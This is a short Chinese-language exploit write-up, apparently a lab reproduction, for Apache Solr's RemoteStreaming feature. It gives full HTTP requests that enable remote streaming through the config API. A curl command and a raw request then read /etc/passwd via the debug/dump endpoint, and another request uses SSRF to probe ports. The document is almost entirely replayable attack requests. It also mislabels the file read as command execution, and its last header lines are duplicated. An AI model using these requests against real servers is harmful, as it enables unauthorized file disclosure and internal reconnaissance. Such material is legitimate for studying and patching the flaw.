Apache Solr RemoteStreaming文件读取和SSRF
RemoteStreaming是Apache Solr的一个功能，允许Solr通过HTTP请求从远程URL读取数据，如果未正确配置或未启用适当的安全措施，攻击者可以利用RemoteStreaming功能来执行服务器端请求伪造（SSRF）攻击或读取服务器上的任意文件。
SSRF较难复现，因为没有其他内网的靶机了
开启RemoteStreaming 配置
发送POST请求
POST /solr/demo/config HTTP/1.1
Host: 192.168.200.142:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 80
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
文件读取
两种方法：
第一种，使用curl访问，回显结果有命令执行的结果
curl -i -s -k 'http://192.168.200.142:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
第二种，使用burp重放
数据包
GET /solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
Host: 192.168.200.142:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2
探测端口
探测不同端口回显不同，没开放的端口回显连接被拒绝
http://192.168.200.142:9999
数据包
GET /solr/demo/debug/dump?param=ContentStreams&stream.url=http://192.168.200.142:9999 HTTP/1.1
Host: 192.168.200.142:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 2
